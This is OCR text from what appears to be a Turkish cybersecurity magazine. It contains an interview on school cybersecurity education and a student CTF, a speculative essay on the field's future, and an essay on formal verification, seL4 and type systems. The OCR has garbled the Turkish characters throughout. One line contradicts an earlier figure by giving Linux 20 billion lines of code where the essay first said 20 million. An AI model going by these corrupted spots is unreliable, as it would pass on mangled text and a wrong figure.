de yayinlandi. Boylelikle 6gretmenlerimiz bu egitimi alarak
gorevli olduklar1 kurumlarinda 6gretmen ve 6grencileri siber
giivenlik konusunda bilinglendirebileceklerdir.

Belirlenen okullarda nasil pilot ders uygulamasi yaptiniz?

Calistaylarda karara varilan ve pilot okullar i¢in hazirlanan
ders planlarinin uygulama stireci 2017-2018 doneminin so-
nunda alt1 hafta boyunca anaokulu, ilkokul, ortaokul ve lise
kurumlarini kapsayacak sekilde gerceklestirildi. Projemizde
yer alan goniillii 6gretmenlerimiz bu dersleri Harezmi Egitim
Modeli benzeri bir metotla verdiler. Elde edilen raporlar, 6nii-
miizdeki ¢aligmalarda bize yol gosterecektir.
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6 Haziran'da Tiirkiye'de ilk defa orta 6gretim seviyesinde
CTF (Capture The Flag) diizenlediniz. Istanbul il Milli Egi-
tim Miidiirliigii olarak gozlemlerinize ve aldiginiz sonugla-
ra gore kisaca bu yarismayi degerlendirir misiniz?

Milli Egitim kapsaminda liseli 6grencilerin ilk defa yaristigy,
siber giivenlik kabiliyetlerini gosterebilecekleri Bayrag: Yakala
Yarigmasrna 16 takim (48 6grenci) katildi. Her takim tigerli
olarak yaristi. Cok giizel geri bildirimler aldik. Ornegin, bu
konuda yetenekli 6grencilerimiz ileride siber giivenlik ve bi-
lingli sosyal medya konusunda icra etmek istedikleri kariyer
olanaklarini ilimizde de yapabileceklerini gérmeleri, boyle bir
imkanin oldugunu fark etmeleri 6nemliydi. Bu yil Istanbul'da-
ki 6grencilerimizle bagladik. Tiim Tiirkiyede nigin olmasin?
Savunma Sanayii Bagkanligrnin (SSB) talebi iizerine yapti-
gimiz goriismeler sonucunda iilke genelinde CTF yapmay1
planliyoruz. Yarismaya orta 6grenim genglerimizin yogun il-
gisi oldu. Ogrencilerimizin 6zverileri, iistiin becerileri bizlere
siber gtivenlik alaninda desteklenmeleri gerektigini gosterdi.
Bu yarigmayla birlikte 6grencilerimizin siber giivenlik alanin-
daki gelismeleri takip etmekle kalmayip ayni zamanda katkida
bulunduklarini da gordiik.

Savunma Sanayii Baskanligr'nca 28 Haziran'da diizenlenen
“Siber Giivenlik Kiimelenmesi’nin tanitim toplantisina siz
de katildiniz. Bu Kiimelenme’nin egitime olan yonii hak-
kindaki goriisleriniz nedir? Sizce, Kiimelenme’nin giicii sa-
nayii-okul is birliginde yeni olanaklara kap1 agacak midir?

Kiimelenme'ye dahil olan bazi kurum ve 6zel sektérde faaliyet
gosteren isletmelerle calistay sirasinda gesitli ortak hedefler
olusturduk. Diizenlemis oldugumuz ¢alistaylara da katilan
birtakim kurumlar1 Kimelenmede gormek bizi sasirtmadi.
Bu durumdan olduk¢a memnunuz; zira profesyonel olarak
hizmet saglayan kurum ve firmalarin ayni zamanda egitim
veriyor olmalari, Kiimelenme'nin, bu alanda ihtiya¢ duyulan
yetistirilebilecek nitelikli insan giiciinii olusturabilecegini de
gostermektedir.

Kiimelenme’nin bugiine kadarki iiniversiteler diizeyinde olan
egitim yoniiniin bizim katilimimizla anaokulundan liseye ka-
dar genisleyecegini umuyoruz.

Milli Egitin’in de ilerleyen zamanlarda resmen Kiimelenmede
yer almasiyla egitime getirilen fayda mutlaka biiyiik olacak-
tir. Yillardir uygulamaya ¢aligtigimiz sanayii-okul is birligine
yazilim ve siber uzayin eklenmesi gelisen teknolojinin bir zo-
runlulugudur.

Diinyadaki ve iilkemizdeki siber giivenlik egitimleri nasil-
dir ve sizce nasil olmalidir?

Rusya, Amerika ve Cin gibi iilkelerde siber giivenlik egitimi
devlet destekli olarak ilerlemektedir. Ulkemizde de kamuoyu-
na agik ve kapali calismalarin yapildigini takip ediyoruz. BTK,

TUBITAK, HAVELSAN’1n diizenledigi programlar 6rnek ola-
rak verilebilir. Yani sira sivil toplum kuruluslar: ve iiniversite-
lerin de hakkini teslim etmek gerekir.

Milli Egitim Midiirliigii olarak anaokulundan baslayarak li-
seye kadar 6grencilerimizi egiterek gerek siber giivenilir kul-
lanic1 gerekse de siber giivenlik uzmanlik alaninda ihtiyag
duyulan kadro agigini gideren yetiskin insan giicliniin yetisti-
rilmesine yonelik ¢aligmalar yapilabilir. Tabii ki lise ¢agindaki
genglerimizin bireysel birikimlerini akademik ve uygulamali
olarak siber giivenlik liselerinde almalarini saglamak onlara
bityiik ufuklar agacaktir. Bu liselere 6zel laboratuvarlarda te-
oride ogrendiklerini uygulamali olarak pratige dokebilecek
olanaklara sahip olabilmelidirler. Ogrencinin ilgisi ve karakte-
rine gore belki de Siber Giivenlik Kiimelenmesi'nin katkilarry-
la kamuda veya 6zel sektérde istihdam edilmesinde bu liseler
etkin rol oynayacaktir. Siber giivenlik alaninda caliganlarin
disaridaki fiziksel tehlikelere olan algilar1 da agilmaktadir. Bu
yadsinamaz bir ayrinti. Yatkin 6grencimiz heniiz orta 6gretimi
bitirmeden sektorde ¢aligabilecek niteliklere sahip olacaktur.
Ancak geleceginde akademik bir kariyer planlayan 6grencile-
rimiz bir iiniversiteye gitmeye ihtiya¢c duyacaktir.

Bu kapsamda okullarinizda siber giivenlik egitimi verecek
ogretmenlerinizin gelisimi icin neler yapilmaktadir?

Caligmalarimiz neticesinde hazirladigimiz hizmet ici egitim
programlarina Ogretmen Yetistirme Genel Midiirliigiiniin
onay1 ile dahil edilen “Temel Seviye Siber Giivenlik Egitimi”
ve “Ileri Seviye Siber Giivenlik Egitimi” kurslarina katilacak
Ogretmenlerimiz yetismis 6gretmen giiciimiiz olarak okullar-
da farkindalik egitim yapabilecek nitelikte olacaktir. {lerleyen
doénemlerde de ihtisas diizeyinde kurslar ile gelisimlerini des-
teklemeyi planliyoruz.

Agilmasi halinde Siber Giivenlik Liseleri’nden mezun olan
ogrencilerin iiniversitede ilgili boliimlerde ek puan gibi ar-
tilarin olmas1 muhtemel midir?

Bu soru direkt bizim ¢aligma alanimizla ilgili olmamakla bir-
likte, bilindigi tizere Imam Hatip Lisesi, Giizel Sanatlar Lise-
si, Spor Lisesi ile Mesleki ve Teknik Anadolu Lisesi gibi orta
Ogretimde okuyan 6grencilerimiz {iniversitede ilgili boliime
devam edecegi takdirde ek puan alabilmektedir.

Lisans oncesi egitim donemlerinde siber giivenlik egitimi
ve bilingli sosyal medya kullanimi sizce neden bu kadar
onemlidir?

Diizenledigimiz ¢alistaylarda bu konu tizerinde 6zenle dur-
duk. Ogrencilerimiz bu egitimlerden sonra meslege hazir ola-
cak bigimde nitelik kazanabileceklerdir. Boyle bir imkan i¢in
de ogrencilerimize verecegimiz egitim noktasinda sektoriin
kazanimlarini aktarmak tabii olarak gerekecektir. S6z konusu
bilgi ve onun giivenilirligi, erisilebilirligi ve biitiinliigli olunca
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elbette ki bilginin emanet edildigi kisinin de is etigi ve ahlaki-
n1 6ziimsemis olmasi beklenmektedir. Buradan da hareketle,
Ogrencilerimizi yalnizca teknik agidan egitmenin yeterli ol-
madiginin altini ¢izmek gerekir. Maneviyatin derinligi, bilgi-
nin dogru kullaniminda ana etkendir.

Bu calismalar kapsaminda “2023 Egitim Vizyonu”na ait
diisiinceleriniz nelerdir?

2023 Egitim Vizyonunda giivenli internet, siber giivenlik,
siber zorbalik ve veri giivenligi gibi konularinin olmasi, yii-
riuttiigiimiiz projemize mutlaka ivme ve hiz kazandiracaktir.
Hali hazirda kademeli olarak 2017den bu yana Istanbul il
Milli Egitim Midirligiimiizce vizyon belgemizde agiklanan
konular1 uyguluyor olmak ¢alisma azmimizi artirmis ve biz-
leri daha ¢ok bagariya motive etmistir. Tim Ogrencilerimize
hayirl olmasin dileriz.

iSTANBUL
MiLLi EGITiM MUDURLUGU




giivenlikte de dnem teskil eder. Gelecekte siber gii-

venlik sektoriiniin nereye dogru ilerleyecegini bilmek
sirketler icin kar, devletler i¢in stratejik tistiinlitk anlamina ge-
lir. Bu tip tahminlerde bulunan danismanlik firmalar1 diinya-
da mevcut. Ancak bunlarin yaptig1 gelecek tahminleri, 2-5 yil
gibi kisa vadeli oluyor. Biz ise bu yazida 30-40 yillik bir stiregte
nereye dogru gidebilecegimizi hayal edecegiz.

Gelecegi tahmin etmek, her sektorde oldugu gibi siber

Her bes senede bir bambagka bir hal alan teknoloji diinyasin-
da, bu denli uzak gelecegi tahmin etmek imkansiz goriinebilir.
Ancak siber giivenlik diinyasinda, insanligin tarihsel stiregte
yasadig1 olaylarin konsantre bir izdiigimiinii gormek miim-
kiin.

Giivenlik kameralarinin ve adli tibbin olmadig: eski ¢caglarda
suclularin tespit edilmesi gok zordu. 1800’lere gelindiginde ise
adli tip ilerlemis, dedektiflik yaygin bir meslek haline gelmisti.
Gliniimiizde ise suglularin tespiti gok daha kolay hale geldi. Bu
izdiigiime gore 2018 yilindaki siber giivenlik diinyasi, 1800’le-
rin fiziksel diinyasina benziyor. 1800’lerden sonra yasanan
tarihsel siireci incelersek, siber giivenligin oniimiizdeki 30-40
yil icinde yasayacag1 degisimleri, biraz hayal giicintin de yar-
dimiyla tahmin edebiliriz.

" Utku Sen — utku@arkakapidergi.com

2000’li yillarin baginda web ve internet teknolojileri diinya-
da yeni yeni yayginlasiyorken, isin giivenlik tarafi insanlarin
aklini ¢ok kurcalamiyordu. Bu dénemde ortaya ¢ikan macera
filmlerinde hacker temasi islense de, giinliik hayatimiza vere-
bilecekleri zararlar bir bilim kurgu senaryosundan 6teye git-
miyordu. Fakat yillar ilerledikge teknoloji, giinliik hayatin her
kosesine isledi. Dolayisiyla isin giivenlik kismi ¢ok kritik bir
durum haline geldi. Fakat gerekli olan giivenlik elemani say1-
sinda hala biiytik bir eksiklik var. Bu yiizden gelecek tahmini
yapan kurumlar, dijitallesme ileride daha da artacag iin, gii-
venlik elemani ihtiyacinin da artacagini dngoriiyor.

Bu tespit bana asansor operatorlerinin durumunu animsati-
yor. Asansor ilk icat edildiginde ¢aligmasi, bir insan operato-
riin yardimiyla miimkiin oluyordu. O dénemde asansoérlerin
tiim diinyada yayginlasacagini géz 6niinde bulunduran bir
kisi, insan operatorlere duyulacak ihtiyacin da artacagini séy-
leyebilirdi. Fakat asansorlere elektronik diigme sistemlerinin
gelmesiyle insana olan ihtiya¢ bitmis, bir meslek dali yok ol-
mustu.

2000’lerden giiniimiize giivenlik sektriinde ¢ok biyiik degi-
simler yasand1. Giivenligin kazandig1 6nem sayesinde defansif
giivenlik teknolojileri ¢ok ilerledi. Sirketler ve devletler varlik-
larinin giivenligine biiyiik yatirimlar yapmaya basladi. Aras-




tirmacilar agik kaynak kodlu yazilimlarda giivenlik agiklarini
tespit edip kapatmaya basladi. Dolayisiyla 2008 ve 2018 yilla-
rint kiyasladigimizda, global giivenligin oldukea iyiye gittigini
soyleyebiliriz. Peki bundan sonra nereye gidecek?

Arka Kapi Dergisinin 4. Sayisinda yayinlanan “Yerli Siber
Giivenlik Yazilimi Hamlesinde Gozden Kagan Detaylar”
yazimda, giivenlik yazilimlarinin gecirdigi evreleri soyle
siralamigtim:

0) Baslangi¢ evresi (... - 2001)
1) Kullanim kolaylig1 evresi (2001-2009)
2) Olgunluk evresi (2009-...)

Su an i¢inde bulundugumuz olgunluk evresinden yapay zeka
evresine ne zaman gegecegiz, net olarak bilemiyoruz. Fakat
gidisatin kesinlikle o yonde oldugunu, pek ¢ok farkli emare
ile gozlemleyebiliyoruz. Ornegin IDS, SIEM gibi defansif gii-
venlik triinleri, insana ihtiya¢ duymayacak sekilde ¢alisma
noktasina varmak tizere. Ofansif tarafta heniiz emekleme asa-
masinda olsalar da, yapay zeka hacker yazilimlarinin ortaya
¢iktigini gorebiliyoruz. Su an bu yazilimlar deneysel ve pahali
olsa da ileride bunlar hem daha stabil hem de ucuzlamis ola-
cak. Dolayisiyla bu yazilimlar insan bir ¢alisandan daha diistik
maliyetli ve daha verimli olacak.

Gidisat1 g6z oniinde bulundurdugumda, bu déneme 2030
yilina kadar gecilecegini diisiiniiyorum. Peki bu dénem gel-
diginde ne olacak? Hem defansif hem ofansif giivenligin ok
biiyiik bir kism1 otomatize hale gelecek. Insana olan ihtiyag,
tistten bakan bir goz ve problem ¢iktiginda diizeltmeyle sinirl
kalabilir. Isin siber savas kisminda devletlerin insan personel
ihtiyact muhtemelen devam edecek ama 6zel sektor bu alan-
da makinelesmeyi tercih edecektir. 2030 yilina geldigimizde,
kendisini programlama, yapay zeka (ve alt dallar1) gibi farkl
disiplinlerde gelistirememis orta ve alt seviye giivenlikgiler is-
sizlik ile karsilasacaktir.

2040 - Sanal Pasaport ve Sanal Vize

Facebook ve Google gibi firmalarin, bireylerin davraniglarini
cerezler (cookie) ya da farkli yontemlerle kayit altinda tuttugu
artik bilinen bir gercek. Bu kisisel veriler sadece bu sirketler
ya da ABD devleti tarafindan gayri resmi olarak kullanilsa da
gelecekte bu durumun farkli olacagini diisiiniiyorum. Ciinkii
glinlimiizde siber suglarin durdurulamamasinin en 6nemli
sebeplerinden biri, suglularin ger¢ek kimliginin tespit edile-
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memesidir. Google gibi sirketlerin sahip oldugu kisi profilleri
kimi zaman suglu tespitine yardimci olsa da, bityiik bir ¢6ztim
saglamiyor. Bunun yaninda TOR gibi servisler de kisinin ger-
cek IP adresini gizlemesine yardimci oluyor.

TOR ve diger VPN servislerinin hala ise yariyor olmasi, in-
ternetin herkese agik olmasinin bir sonucudur. Ornegin
Endonezyada yasayan bir insan, turkiye.gov.tr'ye girebilir, bir
glivenlik a¢ig1 bulursa buraya zarar verebilir. turkiye.gov.tr si-
tesinin yoneticileri “Endonezyada yasayan birinin bu siteye
girmesine gerek yok” diye diisiintip o tilkeyi engelleyebilir,
hatta Tiirkiye hari¢ tiim diinyay: engelleyebilir. Ama bu du-
rumda yurtdisinda yagayan Tiirk vatandaglar siteye nasil gire-
cek? Ulke engelleme bu tip konularda kalic1 bir ¢6ziim olamaz.
Kalic1 ¢oziim ise gelecekte var olacagini diisiindiigiim sanal
pasaport sistemi.

Insanlarin anonim bir sekilde internette dolasmasini engelle-
yerek siber suglar1 durdurmayi hedefleyen “Evilcorp” isminde
bir sirket hayal edelim. Insanlar Evilcorp sirketinin {iriinii olan
“elektronik pasaportu” gergek kimlik bilgileriyle alabiliyorlar.
Kisi elektronik pasaport aldiktan sonra, internette yolladigt
her istegin i¢inde bu pasaport bilgileri yer alacak. Evilcorp ile
entegre olan web siteleri, ziyaretcilerine sanal pasaport kont-
rolii yapabilecek. Ornegin bazi iilke vatandaslarini tamamen
engelleyebilir, fakat bu tilkedeki baz1 vatandaslara -6grenciler,
akademisyenler vs.- giris vizesi verebilir. O dénemin biiyiik
bulut sirketleri Evilcorp ile entegre olacak ve internetin bityiik
bir béliimiinde sanal pasaportsuz dolasim miimkiin olmaya-
cak.

2050 - Bireysel Hacking’in ve Hacker’lar
Caginin Bitisi

Tarih boyunca insanlik, farkli su¢ trendlerine ve gruplarina
maruz kalmigtir ve bunlarla miicadele yontemleri gelistirmis-
tir. Buna 6rnek olarak deniz korsanhigini verebiliriz. M.O. 14.
ylzyildan baglayan korsanlik tarihi 1800’lere kadar siirmiis-
tiir. Cesitli kiiltiirlerde hackerlara korsan benzetmesi yapilir.
Ornegin tilkemizde “hacker” kelimesinin TDK karsilig1 “bil-
gisayar korsani’dir. Bu benzetme mantiksiz degildir. Interneti
okyanusa, bilgisayarlar1 gemilere ve hackerlar1 korsanlara ben-
zetebiliriz. Peki asirlarca siiren korsanlik gelenegi 1800’lerde
nasil bitirildi? Okuduklarima gore burada etkili olan iki konu
var: Birincisi, Ingiliz donanmasinin denizlerde yaptig1 devri-
yelerin sayica gok artmasi ve bu devriyelerin silah giiciiniin
korsanlardan fazla olmast. Tkincisi, korsanlarin ticaret yaptigi
limanlarin devletler tarafindan kapatilmasi. Gelir yollariin
kesilmesi ve baskilarin artmasiyla korsanlar, bu kadim sug
gelenegini terk etmek zorunda kalmistir. Bitmez denen deniz
korsanlig: tarihe karismstir.
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Tabii ki hackerlarin tek motivasyonu maddi kazang degil. Bu
ylizden korsanlar gibi kazang yollar: kesilse bile hacking faa-
liyetleri bitmeyecektir. Fakat buna ragmen gelecekte hacking’i
bitirecek iki temel konu var. Birincisi 6nceki baglikta bahsetti-
gimiz sanal pasaportlar ile her internet kullanicisinin nerede
ne yaptig1 kayit altinda olacagi i¢in hacking, biiyiik cesaret is-
teyen bir sug haline gelecektir. Bugiin bir insan1 dldiiriip ya-
kalanmamak ne kadar zorsa, gelecekte hacking de béyle ola-
caktir. Bunun yaninda 2000’lerden giiniimiize baktigimizda
defansif givenlik teknolojilerinin ¢ok gii¢c kazandigini gorii-
yoruz. Bu durum muhtemelen béyle devam edecektir ve ge-
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H W n

Guvenligin
ve

H W n

Guvenilirligin

u mabkale bir ¢agridir. Gii-
Bvenlik konusunda “Yama

mi1 tedavi mi?” sorusuna
cevap vermek gerek.

Simdilik yamalarla ugrasiyoruz.
Gelecek icin bu yeterli olmaya-
cak!

Isletim sistemleri ve yazilimla-
rin boyutlar1 ve karmasikliklar:
devamli artiyor. Linux ¢ekirdegi
(Kernel) 20 milyondan fazla sa-
tir kod igeriyor'. Bu sadece cekir-
degi. Isletim sisteminin biitiinii
bundan kat kat fazla.

Donanimimiz ayni derecede kar-
masik. 20 milyar (dogru okuyor-
sunuz milyon degil, milyar) kadar
transistora sahip cipler de var’; 10
milyar transistorlu islemciler artik
normal olmaya baglad.

Her iki alanda ¢ok eski ihtiyagla-

ra gore tasarlanmig sistemlerimiz var. C dili, Unix 45 senelik,
Microsoft Windows ise 32 senelik. Linux 27 senelik. Intel x86
mimarisi 40 senelik, ARM 33 senelik.

Bu yiizden ne giivenlik ne de giivenirlilik dikkate alinarak ta-
sarlanmamuis bu sistemleri saglamlastirmak artik ¢ok zor olu-
yor.

Giivenlik kelimesiyle bir sistemin olas: saldirilara karsi bagi-
sikligini ifade etmek istiyoruz. Giivenirlilik kelimesiyle ise bir
sistemin vaad ettigi isi ¢okmeden, durmadan ne kadar yapa-
bilecegini kast ediyoruz.

Ugaklarin, arabalarin, bizi hayatta tutan tibbi aletlerin ve daha
nicesinin bilgisayar tarafindan yonetildigini diistiniirsek hem
gtivenlik hem giivenilirlik artik can alic1 bir 6neme sahip.

Gelecekte IoT (Internet of Things), yazilimlarin giivenligi ve

Gelecegi

giivenilirligine olan bagimlili-
gimiz1 daha da arttiracak.

Gecmisteki ve Buglinkii
Coziumler

Yazilim tarihinde en eski yiik-
sek giivenilirlik mazisine sahip
yazilimlar ugak ve uzay aragla-
rinda. Gegmiste bilgisayarlari
¢ogaltarak bu sorun ¢oziilmeye
calisildi. Farkli donanim ve ayr1
ayr1 yazilmis yazilimlara sahip
olan bir kag bilgisayar arasin-
da kritik islemler i¢in oylama
yapilirdi. Space Shuttle’in iki
farkli tipte 5 kontrol bilgisaya-
r1 vardr’. Genellikle Avionics
(ugak elektronikleri) alaninda
coklu bilgisayar sistemleri kul-
lanilir. Ancak bu bir noktaya
kadar giinti kurtarsa da higbir
zaman nihai ¢6zim olmadi
Coklu sistemlere ek olarak, sistematik ve her olast durumu
ongormeye calisan testler gerceklestirmek, “Formal” yani ya-
zilimin dogru calistigina dair matematikte gordiigiimiiz gibi
bir ispat Giretmek gerekmektedir.

Burada, maalesef, Tiirkiyedeki okur icin duraksamak gereki-
yor. “Matematikte gordiigiimiiz gibi” varsayimi Turkiye i¢in
bir yalan. Zira en az lise diizeyinde Tiirkiyede hi¢ kimse “is-
pat” gérmiiyor. Universite diizeyinde matematikgiler diginda,
ornegin mithendislik 6grencileri de “ispat” gérmiiyor. Ispat
evrensel bir teoremin dogrulugunu belli aksiyomlardan basla-
yarak belli mantik kurallarini kullanarak gostermek anlamina
geliyor.

Ornegin “Bu bilgisayar sistemi ucagin ‘stall’ (havada kalma
giiciinii yitirmek) etmesine izin vermez.” bir teorem olabilir.
Onemli bir teorem. Onkosullar, aksiyomlar, varsayimlar, hep-




si 6bnemli, tabii. Ancak teoremin varolmasi sadece bir ka¢ defa
ucag ugurarak ve “bak diismedi” demekten daha giivenli. An-
cak genellikle yazilimlar i¢in kullanilan yontemler ikincisine
daha ¢ok benziyor.

Yine de bu kritik sistemler igin, sistematik test, coklu bilgisa-
yar yaninda, formal metotlar, yani ispat gerektiren yontemler
kullanilmaya baglanmistir.

Ornegin Airbus 330/340 yazilim kilavuzuna goz atarsak for-
mal metotlarin kullanilmaya baslandigini gériiyoruz'.

30.13 Development Environment

The development of each Airbus Industrie aircraft has been supported by an Iron Bird whole-aircraft
systems rig, and by suppaorting systems rigs that enable work to proceed simultaneously, without muraal
interference. The A330/A340 model is no exception, and a number of facilities have been constructed
specifically for this programme. These methods are now being used by other airframe manufacturers.

Proper software development is an essential part of systems development throughout the aircraft, and
a number of software tools have been developed, notably in the areas of formal methods, rapid proto-
typing, automatic coding, and rapid data recovery and analysis. These are supplemented by large, fast
data recording and telemetry facilities on the test aircraft fleet, associated with real-time and rapid-
playback test data displays for the benefit of the flight test observers on board the test aircraft and for
the test and systems engineers on the ground.

Airbus sirketinin yazilim gelistirme politikas:

Formal ispat metotlarinin kullanildig1 diger bir giincel alan
Marsa giden robot uzay araglari.

NASA Departmani olan JPLnin (Jet Propulsion Laboratory)
bir makalesinde aractaki yazilimlarin, formal metotlarin ispat
edilmesinin ¢esitli matematiksel tekniklerle, nasil pratik héle
getirildigi anlatiliyor’. 100 milyon km. 6tede seyredecek bir
aracin bilgisayarinin kisir dongiiye girebilmesi, tabii ki, her
haliikirda 6nlenmeli.

Ticari yazilimlara gelince bu formal metotlar hem pahali olu-
yor, hem de yazilimlarin biiytkliigii ytiztinden pratik olmu-
yor.’

Gelecekteki coziimler

Bu derginin gecen sayisindaki makalemde selL4’ kernelden
bahsetmistim®. Boyle girisimler giivenlik ve giivenilirliginin
gelecegini temsil ediyorlar.

Makale yayinlandiktan sonra CACM dergisinde seL4 kerneli-
ni kullanan bir sistem hakkinda bilimsel bir makalenin ¢ikma-
s1 giizel bir tesadiif oldu.

Boeing’in AH-6 otonomu, insansiz helikopter kiigiik bir drone
ya da IHA degil. Tam boyutlu bir helikopter. Bu sistem hep
glivenilirligi i¢in test edildi, ancak 2013 yilinda sizma testi igin
gorevlendirilen bir “red team” helikopter sistemine bagarili bir
siber saldir1 gerceklestirdi.

Saldiranlar helikoptere takilan bir USB cihazi vasitasiyla heli-
kopteri herhangi bir yere yonlendirmek ya da helikopteri dii-
stirmek yetkilerini elde etmeyi basardilar.

Orijjinal helikopter sistemi Linux tabanli. Linux tamamen or-
tadan kaldirilamadi. Ancak sel4 kernel altinda Linux’un izo-
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le edildigi bir sanal makine yaratild1 ve helikopterin kamera
kontrolu gibi kritik olmayan yazilimlari orada tutuldu. Bu ya-
zilimlarin helikopteri uguran yazilimlara ulagsmasi engellendi.

Ayrica bir de “White Box saldiris1” denendi. “White Box saldi-
ris1” su anlama geliyor: saldiran takima sistemin biitiin kaynak
kodlari ve belgeleri ve ayrica zayif olan kamera sistemine kok
erisim de veriliyor. Biitiin bunlara ragmen, bu sefer, “red team”
helikopterin ugus sistemlerini etkileyemedi.

Boeing Little Bird ugusta -
Pilotun yoklugu dikkatinizi ¢ekmis olmal.

Peki bu nasil bagarildi? Once ispat edilmis bir isletim sistemi,
seL4 mikrogekirdegi kullanildi. Cekirdegin kendisi, kullanilan
C derleyicisi ve diger yazilimlar formal yontemlerle ispat edil-
mis sistemlerdi. Bu ¢ekirdek altinda birbirinden izole edilmis
sanal makinelerde ¢alisan yazilimlar tizerinde tek tek ispatlar
sinanmus. Birbirinden izole olmadiklari i¢in her yazilima ayni
sert kriterler uygulamak zorunda kalinmamis.

Projeyi uygulayanlar bu tarz yontemler kullanarak yani mev-
cut bir sisteme “retrofit” yaparak sistemi daha giivenli bir hale
getirebildiler.

Tabii bu belirli sartlar altinda miimkiin: seL4 mikrogekirdegi,
Linux ¢ekirdegi gibi 20 milyar satir degil, 10 bin satir C ko-
dundan ibaret. Linux i¢in béyle bir girisim imkansiz.

Ispatlarin gelecegi

Uzay ve ugaklarin diginda giivenlik ve giivenilirlik nasil sagla-
nir? Milyonlarca satirdan olusan yazilimlarla ve C gibi dillerle
bu is kotarilamayacak. Bagka faktorleri hesaba katmasak bile,
C dilinin “undefined behavior” tuzag: tek basina bunu zorlas-
tirmak icin yeterli. Bircok kosulda C dilinde yazilan program-
lar farkli davranislar sergileyebilir. Bu giivenlik i¢in bir felaket.
Pratikte C dilinin bu niteliginin en kotii sonuglarini 6nlemek
i¢in hem programlara hem de derleyici davraniglarina ciddi
sinirlamalar getirmek lazim. Bu sorunun ciddiyetini anlamak
i¢in John Egher’in makalelerini okumak yeterli’. C dilinde 200
farkli “undefined behavior” varken, saf C programlarin davra-
niglarimi ispat etmek ¢ok zor.
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Formal yontemler artik ¢ok daha yaygin kabul gérmeye basli-
yor. Cok 6nemli bir giivenlik zafiyeti olarak web tarayicilarda
calistirllan programlar. Genellikle bu programlar Javascript
dilinde yaziliyor. Maalesef Javascript degisken tipleri konu-
sunda zorlayici degil, ayrica karisik ve programlarin anlam-
larini tanimak i¢in net bir formal sisteme sahip degil. Bu yiiz-
den Google, Apple, Mozilla ve Micosoftun ortak girigimi ile
istemci programlari icin WebAssembly dili gelistirildi”. Bagka
dillerden farkli olarak WebAssembly’nin basta gelen 6zelligi
formal olusu, matematiksel bir semantics (dildeki programla-
rin anlamlar: belirleyen tanimlar) ve tip sistemi. Tiplerin one-
mini birazdan agiklayacagiz.

[spat ve tip sistemleri nemli olacak. Bunun igin yeni diller ve
yeni isletim sistemleri gelecek. Yeni dillerde ispat, tip sistemi,
formal semantics gibi yeni kavramlar 6nemli olacak. Bunlara
alismali ve 6grenmeliyiz.

Tiplerin onemi

Giivenlik ve giivenilirlik istiyorsak, 40 senelik arkadaslarimi-
za, Unix ve C diline hoscakal, demek zorundayiz. Bunlarin
yerine isletim sistemi olarak seL4 gibi ispat edilebilir mikro
cekirdekleri benimsemek zorundayiz. Peki ya programlama
dilleri i¢in ¢6ziimiimiiz ne olacak?

Thtiyacimiz iyi programlar yazmamizi kolay kilan bir dil
degil. Thtiyacimiz yanhs programlar yazmamizi imkansiz
kilan bir dil. Bu bir hedef. Teorik sebeplerden dolay1 bu
hedefe %100 ulasamayabiliriz. Fakat bu hedefi yine de ko-
rumalryiz. Bunun i¢in daha biiyiik programlarda ispati kul-
lanabilmek i¢in dillerimize bazi 6nemli nitelikler eklemek
isimizi kolaylastiracak.

Programlarda “referential transparency” (seffaflik), yani bir
fonksiyon ayni parametrelerle degerlendirildiginde ayni so-
nucu lretmesinin garanti ediliyor olmasi lazim. Dolayisiyla
dilimizde “mutation” yani degiskenin degerini degistirmek
mimkiin olmamali.

Yazilim dilimizde “undefined behavior” ‘a neden olabilen dav-
raniglar yasaklanmali, yani derleyici tarafindan reddedilmeli.
Bu da giiglii bir tip sistemini gerektiriyor.

Bunlar1 gerceklestirmek icin functional typed bir dile ihtiyaci-
miz var. Biigiin elimizdeki diller bu ihtiyaca uygun olmayabi-
lir. Fazla karmagik ve fazla giigliller. Turing Completeness ile
beraber gelen arzu etmeyecegimiz belirsizlikler var.

Yine de sel4 isletim sistemi referans uygulamasimim Haskellde
yazilmis olmasi tesadiif degil. Haskell pure functional typed bir dil.

Tiplerin gerekliligi iki basit 6rnekle anlatilabilir. Basimiza bela
olan iki 6nemli giivenlik agig1 var. Biri Buffer Overflow, digeri
SQL injection. Ikisi de tip uyumsuzlugundan kaynaklaniyor.

Kullanicinin girdigi bir metin ve bir SQL komutu ayni tipte
olmazsa, derleyicimiz, baska bir tedbire gerek olmaksizin,
SQL injection saldirilarini engelleyebilir. Yani SQL injection’a
maruz kalabilecek bir program yazmak imkansiz hale gelir.
Buffer Overflow daha zor bir mesele. Tabii ki Java dili gibi or-
tamlarda, runtimeda Buffer Overflow gibi zafiyetleri 6nlemek
miimkiin, ama derdimiz derleyici agamasinda bunu onleye-
bilmek.

Yasantimizda her giin daha 6nemli bir yer isgal eden yazilim-
lara giivenebilmemiz i¢in bu sorunlar1 ¢6zmek zorundayiz.
Her miihendislik sorunu gibi uzlagmalar olacak. Yine de ispat
edilebilen yazilimlar bityiik 6nem kazanacak. Bunun igin eski
isletim sistemlerimiz ve programlama dillerimiz yetmeyecek.

Sonuc

Her zamanki gibi referans olarak verdigim orijinal makalele-
rin okunmasini siddetle tavsiye ediyorum. Bu makalelerin dili
Ingilizce, fakat yapacak bir sey yok! Zorlanarak da olsa okuyu-
nuz. Cabaniza degecektir. Ayn1 zamanda makale okuma isini
siirekli hale getirdiginizde teknik Ingilizce'niz de gelisecektir.

Haskel, Rust gibi giiclii tip sistemleri olan programlama dil-
lerini 6greniniz. Coq gibi ispat sistemlerini de 6greniniz. Gii-
venlik ve giivenilirlik ile ugrasmak istiyorsaniz, gelecek budur.

Kaynak

1 https://www.linuxcounter.net/statistics/kernel

2 EPYC: A Study in Energy Efficient CPU Design Nathan Brookwood
https://www.amd.com/system/files/documents/The-Energy-Efficient-
AMD-EPYC-Design.pdf

3 Architecture of the space shuttle primary avionics software system Gene
D. Carlow Communications of the ACM CACM Volume 27 Issue 9,
Sept. 1984 pp 926-936

4 New Avionics Systems —Airbus A330/A340 J. P. Potocki de Montalk
http://www.davi.ws/avionics/TheAvionicsHandbook_Cap_30.pdf

5 Exploiting Traces in Static Program Analysis, Alex Groce, Rajeev Joshi
https://agroce.github.io/sttt08.pdf

6 Formally Verified Software in the Real World, Gerwin Klein, June
Andronick, Matthew Fernandez, Ihor Kuz, Toby Murray, Gernot
Heiser, Communications of the ACM Volume 61 Issue 10, October
2018

7 Mathematically Verified Software Kernels: Raising the Bar for High
Assurance Implementations Dr Daniel Potts, Rene Bourquin, Leslie
Andresen, Dr June Andronick, Dr Gerwin Klein, Prof Gernot Heiser

8 Meltdown, Spectre ve Foreshadow, Yaklasan Devrimin Ayak
